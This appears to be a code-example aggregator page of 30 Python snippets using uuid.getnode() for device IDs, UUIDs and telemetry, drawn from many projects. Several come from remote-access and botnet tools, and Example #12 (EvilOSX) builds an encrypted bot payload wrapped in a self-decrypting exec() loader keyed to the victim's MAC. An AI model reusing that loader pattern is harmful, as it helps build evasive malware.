Python uuid.getnode() Examples

The following are 30 code examples of uuid.getnode(). You can vote up the ones you like or vote down the ones you don't like, and go to the original project or source file by following the links above each example. You may also want to check out all available functions/classes of the module uuid , or try the search function .
Example #1
Source File: __init__.py    From gkeepapi with MIT License 6 votes vote down vote up
def login(self, username, password, state=None, sync=True):
        """Authenticate to Google with the provided credentials & sync.

        Args:
            email (str): The account to use.
            password (str): The account password.
            state (dict): Serialized state to load.

        Raises:
            LoginException: If there was a problem logging in.
        """
        auth = APIAuth(self.OAUTH_SCOPES)

        ret = auth.login(username, password, get_mac())
        if ret:
            self.load(auth, state, sync)

        return ret 
Example #2
Source File: __init__.py    From gkeepapi with MIT License 6 votes vote down vote up
def resume(self, email, master_token, state=None, sync=True):
        """Authenticate to Google with the provided master token & sync.

        Args:
            email (str): The account to use.
            master_token (str): The master token.
            state (dict): Serialized state to load.

        Raises:
            LoginException: If there was a problem logging in.
        """
        auth = APIAuth(self.OAUTH_SCOPES)

        ret = auth.load(email, master_token, android_id=get_mac())
        if ret:
            self.load(auth, state, sync)

        return ret 
Example #3
Source File: time_uuid.py    From eavatar-me with Apache License 2.0 6 votes vote down vote up
def oid(timestamp_factory=IncreasingMicrosecondClock()):
    """Generate unique identifiers for objects in string format.

    The lexicographical order of these strings are roughly same as their
    generation times.

    Internally, an object ID is composed of a timestamp and the node ID
    so that IDs generated from different nodes can also be compared and
    be ensured to be unique.

    :param timestamp_factory: the timestamp generator
    :return: A string can be used as an UUID.
    """
    timestamp = timestamp_factory()
    ns = timestamp * 1e9
    ts = int(ns // 100) + 0x01b21dd213814000L

    node = uuid.getnode()
    num = (ts << 48L) | node
    return _base58_encode(num) 
Example #4
Source File: test_zkutil.py    From pykit with MIT License 6 votes vote down vote up
def test_lock_id_default(self):

        expected = '%012x' % uuid.getnode()

        k = zkutil.lock_id()
        dd(config)
        dd(k)
        self.assertEqual(expected, k.split('-')[0])

        k = zkutil.lock_id(node_id=None)
        dd(k)
        self.assertEqual(expected, k.split('-')[0])

        config.zk_node_id = 'a'
        k = zkutil.lock_id(node_id=None)
        dd(k)
        self.assertEqual('a', k.split('-')[0]) 
Example #5
Source File: network.py    From rpiapi with MIT License 6 votes vote down vote up
def network(environ, response, parameter=None):
	status = "200 OK"
	
	header = [
		("Content-Type", "application/json"),
		("Cache-Control", "no-store, no-cache, must-revalidate"),
		("Expires", "0")
	]

	result = {
		"hostname": socket.gethostname(),
        "ip": socket.gethostbyname(socket.gethostname()),
        "ipv4": requests.get('https://api.ipify.org').text,
        "ipv6": requests.get('https://api6.ipify.org').text,
        "mac_address": get_mac()
	}

	response(status, header)
	return [json.dumps(result).encode()] 
Example #6
Source File: guia_bolso.py    From guiabolso2csv with GNU General Public License v3.0 6 votes vote down vote up
def __init__(self, email, password):
        self.token=""
        self.email = email
        self.password = password
        hardware_address = str(uuid.getnode()).encode('utf-8')
        self.device_token = hashlib.md5(hardware_address).hexdigest()
        self.session = requests.Session()
        self.token = self.login()
        basic_info = self.get_basic_info()
        self.categories = basic_info["categoryTypes"]
        # self.months = basic_info["GB.months"]
        self.statements = basic_info["accounts"]
        self.fieldnames = [u'id', u'label', u'description', u'date', u'account', u'category',
                           u'subcategory', u'duplicated', u'currency',
                           u'value', u'deleted']
        self.category_resolver = {}
        for categ in self.categories:
            for sub_categ in categ['categories']:
                self.category_resolver[sub_categ['id']] = \
                    (categ['name'], sub_categ['name'])

        self.account_resolver = {}
        for account in self.statements:
            for sub_account in account['statements']:
                self.account_resolver[sub_account['id']] = sub_account['name'] 
Example #7
Source File: yjbTrader.py    From vxTrader with MIT License 6 votes vote down vote up
def __init__(self, account, password):

        # 初始化父类
        super(yjbLoginSession, self).__init__(account=account, password=password)

        # 初始化登录参数
        self.mac_address = ("".join(c + "-" if i % 2 else c for i, c in \
                                    enumerate(hex(uuid.getnode())[2:].zfill(12)))[:-1]).upper()

        # TODO disk_serial_id and cpuid machinecode 修改为实时获取
        self.disk_serial_id = "ST3250890AS"
        self.cpuid = "-41315-FA76111D"
        self.machinecode = "-41315-FA76111D"

        # 校验码规则
        self.code_rule = re.compile("^[0-9]{4}$")

        if datetime.now() > datetime(year=2016, month=11, day=30, hour=0):
            # raise TraderAPIError('佣金宝交易接口已于2016年11月30日关闭')
            logger.warning('佣金宝交易接口已于2016年11月30日关闭')
        else:
            logger.warning('佣金宝交易接口将于2016年11月30日关闭') 
Example #8
Source File: gfTrader.py    From vxTrader with MIT License 6 votes vote down vote up
def __init__(self, account, password):

        # 初始化父类
        super(gfLoginSession, self).__init__(account=account, password=password)

        # TODO 从系统中读取磁盘编号
        self.disknum = "S2ZWJ9AF517295"
        self.mac_address = ("".join(c + "-" if i % 2 else c for i, c in \
                                    enumerate(hex(uuid.getnode())[2:].zfill(12)))[:-1]).upper()
        # 校验码的正则表达式
        self.code_rule = re.compile("^[A-Za-z0-9]{5}$")

        # 交易用的sessionId
        self._dse_sessionId = None

        # 融资融券标志
        self.margin_flags = False 
Example #9
Source File: FSNClient.py    From FlowState with GNU General Public License v3.0 6 votes vote down vote up
def __init__(self, address, port):
        self.server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.server.settimeout(10)
        self.serverIP = address#socket.gethostname()
        self.serverConnected = False
        print(self.serverIP)
        self.serverPort = port#5069
        myIP = socket.gethostname()
        self.networkReady = False
        self.delim = b'\x1E'
        self.buffer = b''
        self.state = FSNObjects.PlayerState(None, None, None, None, None, None, None)
        self.messageHandler = None
        self.serverReady = True
        self.readyToQuit = False
        self.clientID = str(time.perf_counter())+str(get_mac()) 
Example #10
Source File: __init__.py    From marsnake with GNU General Public License v3.0 6 votes vote down vote up
def get_info(self):
		macaddr = uuid.getnode()
		macaddr = ':'.join(("%012X" % macaddr)[i : i + 2] for i in range(0, 12, 2))
		
		fingerprint = Kdatabase().get_obj("fingerprint")

		return {
			"user_id" : Kdatabase().get_obj("setting")["username"],
			"fullname" : Kdatabase().get_obj("setting")["username"],
			"distro" : common.get_distribution(),
			"os_name" : platform.system(),
			"macaddr" : macaddr,
			"user" : getpass.getuser(),
			"localip" : common.get_ip_gateway(),
			"hostname" : platform.node(),
			"platform" : platform.platform(),
			"version" : constant.VERSION,
			"open_ports" : len(fingerprint["port"]["current"]),
			"accounts" : len(fingerprint["account"]["current"]),
			"uuid" : Kdatabase().get_obj("basic")["uuid"],
			"startup_counts": Kdatabase().get_obj("basic")["startup_counts"]
		} 
Example #11
Source File: util.py    From byob with GNU General Public License v3.0 5 votes vote down vote up
def mac_address():
    """
    Return MAC address of host machine

    """
    import uuid
    return ':'.join(hex(uuid.getnode()).strip('0x').strip('L')[i:i+2] for i in range(0,11,2)).upper() 
Example #12
Source File: model.py    From EvilOSX with GNU General Public License v3.0 5 votes vote down vote up
def create_payload(bot_uid, payload_options, loader_options):
        """:return: The configured and encrypted payload.

        :type bot_uid: str
        :type payload_options: dict
        :type loader_options: dict
        :rtype: str
        """
        # Configure bot.py
        with open(path.realpath(path.join(path.dirname(__file__), path.pardir, "bot", "bot.py"))) as input_file:
            configured_payload = ""

            server_host = payload_options["host"]
            server_port = payload_options["port"]
            program_directory = loader_options["program_directory"]

            for line in input_file:
                if line.startswith("SERVER_HOST = "):
                    configured_payload += "SERVER_HOST = \"{}\"\n".format(server_host)
                elif line.startswith("SERVER_PORT = "):
                    configured_payload += "SERVER_PORT = {}\n".format(server_port)
                elif line.startswith("PROGRAM_DIRECTORY = "):
                    configured_payload += "PROGRAM_DIRECTORY = os.path.expanduser(\"{}\")\n".format(program_directory)
                elif line.startswith("LOADER_OPTIONS = "):
                    configured_payload += "LOADER_OPTIONS = {}\n".format(str(loader_options))
                else:
                    configured_payload += line

        # Encrypt the payload using the bot's unique key
        return dedent("""\
        #!/usr/bin/env python
        # -*- coding: utf-8 -*-
        import os
        import getpass
        import uuid
        
        def get_uid():
            return "".join(x.encode("hex") for x in (getpass.getuser() + "-" + str(uuid.getnode())))
        
        exec("".join(os.popen("echo '{}' | openssl aes-256-cbc -A -d -a -k %s -md md5" % get_uid()).readlines()))
        """.format(PayloadFactory._openssl_encrypt(bot_uid, configured_payload))) 
Example #13
Source File: util.py    From conary with Apache License 2.0 5 votes vote down vote up
def getId(self):
        if self.systemId:
            return self.systemId

        if self.script and os.path.exists(self.script):
            self.systemId = self._run()
        else:
            sha = hashlib.sha256()
            sha.update(str(uuid.getnode()))
            self.systemId = base64.b64encode(sha.hexdigest())

        return self.systemId 
Example #14
Source File: bot.py    From EvilOSX with GNU General Public License v3.0 5 votes vote down vote up
def get_uid():
    """:return The unique ID of this bot."""
    # The bot must be connected to WiFi anyway, so getnode is fine.
    # See https://docs.python.org/2/library/uuid.html#uuid.getnode
    return hexlify(getpass.getuser() + "-" + str(uuid.getnode()) + "-" + __version__) 
Example #15
Source File: telemetry.py    From iot-hub-python-raspberrypi-client-app with MIT License 5 votes vote down vote up
def _get_mac_hash(self):
        mac = ":".join(re.findall("..", "%012x" % uuid.getnode()))
        return hashlib.sha256(mac.encode("utf-8")).hexdigest() 
Example #16
Source File: dev.py    From indy-ssivc-tutorial with Apache License 2.0 5 votes vote down vote up
def get_unique_version():
    platform_name = platform.system()
    host_name = socket.gethostname()
    mac = uuid.getnode()
    verison = "{0}.{1}.{2}".format(binascii.crc32(platform_name.encode()), binascii.crc32(host_name.encode()), mac)
    return verison 
Example #17
Source File: agent.py    From backnet with GNU General Public License v3.0 5 votes vote down vote up
def get_UID(self):
        """ Returns a unique ID for the agent """
        return getpass.getuser() + "_" + str(uuid.getnode()) 
Example #18
Source File: userstats.py    From pythonvideoannotator with MIT License 5 votes vote down vote up
def register_access():
    try:
        app_id  = conf.USERSTATS_APP_ID
        reg_id  = get_mac()
        os_name = platform.platform()
        version = __version__

        data = {'app-id': app_id, 'reg-id': reg_id, 'os-name' : os_name ,'version': version}
        url = "{}/register".format(conf.USERSTATS_URL)
        request = Request(url, urlencode(data).encode())
        urlopen(request, timeout=1).read().decode()
    except Exception as e:
        print("Could not register new access", e) 
Example #19
Source File: test_uuid.py    From CTFCrackTools-V2 with GNU General Public License v3.0 5 votes vote down vote up
def test_getnode(self):
        import sys
        node1 = uuid.getnode()
        self.check_node(node1, "getnode1")

        # Test it again to ensure consistency.
        node2 = uuid.getnode()
        self.check_node(node2, "getnode2")

        self.assertEqual(node1, node2) 
Example #20
Source File: util.py    From byob with GNU General Public License v3.0 5 votes vote down vote up
def mac_address():
    """
    Return MAC address of host machine

    """
    import uuid
    return ':'.join(hex(uuid.getnode()).strip('0x').strip('L')[i:i+2] for i in range(0,11,2)).upper() 
Example #21
Source File: httrader.py    From OdooQuant with GNU General Public License v3.0 5 votes vote down vote up
def __set_ip_and_mac(self):
        """获取本机IP和MAC地址"""
        # 获取ip
        s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        s.connect(("baidu.com", 80))
        self.__ip = s.getsockname()[0]
        s.close()

        # 获取mac地址 link: http://stackoverflow.com/questions/28927958/python-get-mac-address
        self.__mac = ("".join(c + "-" if i % 2 else c for i, c in enumerate(hex(
                uuid.getnode())[2:].zfill(12)))[:-1]).upper() 
Example #22
Source File: helpers.py    From OdooQuant with GNU General Public License v3.0 5 votes vote down vote up
def get_mac():
    # 获取mac地址 link: http://stackoverflow.com/questions/28927958/python-get-mac-address
    return ("".join(c + "-" if i % 2 else c for i, c in enumerate(hex(
            uuid.getnode())[2:].zfill(12)))[:-1]).upper() 
Example #23
Source File: info.py    From Loki with MIT License 5 votes vote down vote up
def get_id(self):
        return sha256((str(getnode()) + getuser()).encode()).digest().hex() 
Example #24
Source File: base.py    From eNMS with GNU General Public License v3.0 5 votes vote down vote up
def configure_server_id(self):
        db.factory(
            "server",
            **{
                "name": str(getnode()),
                "description": "Localhost",
                "ip_address": "0.0.0.0",
                "status": "Up",
            },
        ) 
Example #25
Source File: utils.py    From ops_sdk with GNU General Public License v3.0 5 votes vote down vote up
def get_node_topic(node=False):
    if not node:
        if os.getenv(const.NODE_ADDRESS): return os.getenv(const.NODE_ADDRESS) + '#'
        mac = uuid.UUID(int=uuid.getnode()).hex[-12:]
        return f'{socket.gethostname()}--mac-{mac}#'
    else:
        if os.getenv(const.NODE_ADDRESS): return os.getenv(const.NODE_ADDRESS)
        mac = uuid.UUID(int=uuid.getnode()).hex[-12:]
        return f'{socket.gethostname()}--mac-{mac}' 
Example #26
Source File: utils.py    From ops_sdk with GNU General Public License v3.0 5 votes vote down vote up
def get_node_address():
    node_name = os.getenv(const.NODE_ADDRESS) if os.getenv(const.NODE_ADDRESS) else socket.gethostname()
    mac = uuid.UUID(int=uuid.getnode()).hex[-12:]
    return f'{node_name}--mac-{mac}'


### 这个地址是默认可以通配的 
Example #27
Source File: system.py    From ahenk with GNU Lesser General Public License v3.0 5 votes vote down vote up
def mac_addresses():
                mac = get_mac()
                ':'.join(("%012X" % mac)[i:i + 2] for i in range(0, 12, 2))
                arr = []
                for iface in psutil.net_io_counters(pernic=True):
                    try:
                        addr_list = psutil.net_if_addrs()
                        mac = addr_list[str(iface)][2][1]
                        if re.match("[0-9a-f]{2}([-:])[0-9a-f]{2}(\\1[0-9a-f]{2}){4}$", mac.lower()) and str(
                                mac) != '00:00:00:00:00:00':
                            arr.append(mac.lower())
                    except Exception as e:
                        pass

                return arr 
Example #28
Source File: registration.py    From ahenk with GNU Lesser General Public License v3.0 5 votes vote down vote up
def generate_uuid(self, depend_mac=True):
        if depend_mac is False:
            self.logger.debug('uuid creating randomly')
            return uuid.uuid4()  # make a random UUID
        else:
            self.logger.debug('uuid creating according to mac address')
            return uuid.uuid3(uuid.NAMESPACE_DNS,
                              str(get_mac()))  # make a UUID using an MD5 hash of a namespace UUID and a mac address 
Example #29
Source File: system.py    From ahenk with GNU Lesser General Public License v3.0 5 votes vote down vote up
def mac_addresses():
                mac = get_mac()
                ':'.join(("%012X" % mac)[i:i + 2] for i in range(0, 12, 2))
                arr = []
                for iface in psutil.net_io_counters(pernic=True):
                    try:
                        addr_list = psutil.net_if_addrs()
                        mac = addr_list[str(iface)][2][1]
                        if re.match("[0-9a-f]{2}([-:])[0-9a-f]{2}(\\1[0-9a-f]{2}){4}$", mac.lower()) and str(
                                mac) != '00:00:00:00:00:00':
                            arr.append(mac.lower())
                    except Exception as e:
                        pass

                return arr 
Example #30
Source File: registration.py    From ahenk with GNU Lesser General Public License v3.0 5 votes vote down vote up
def generate_uuid(self, depend_mac=True):
        if depend_mac is False:
            self.logger.debug('uuid creating randomly')
            return uuid.uuid4()  # make a random UUID
        else:
            self.logger.debug('uuid creating according to mac address')
            return uuid.uuid3(uuid.NAMESPACE_DNS,
                              str(get_mac()))  # make a UUID using an MD5 hash of a namespace UUID and a mac address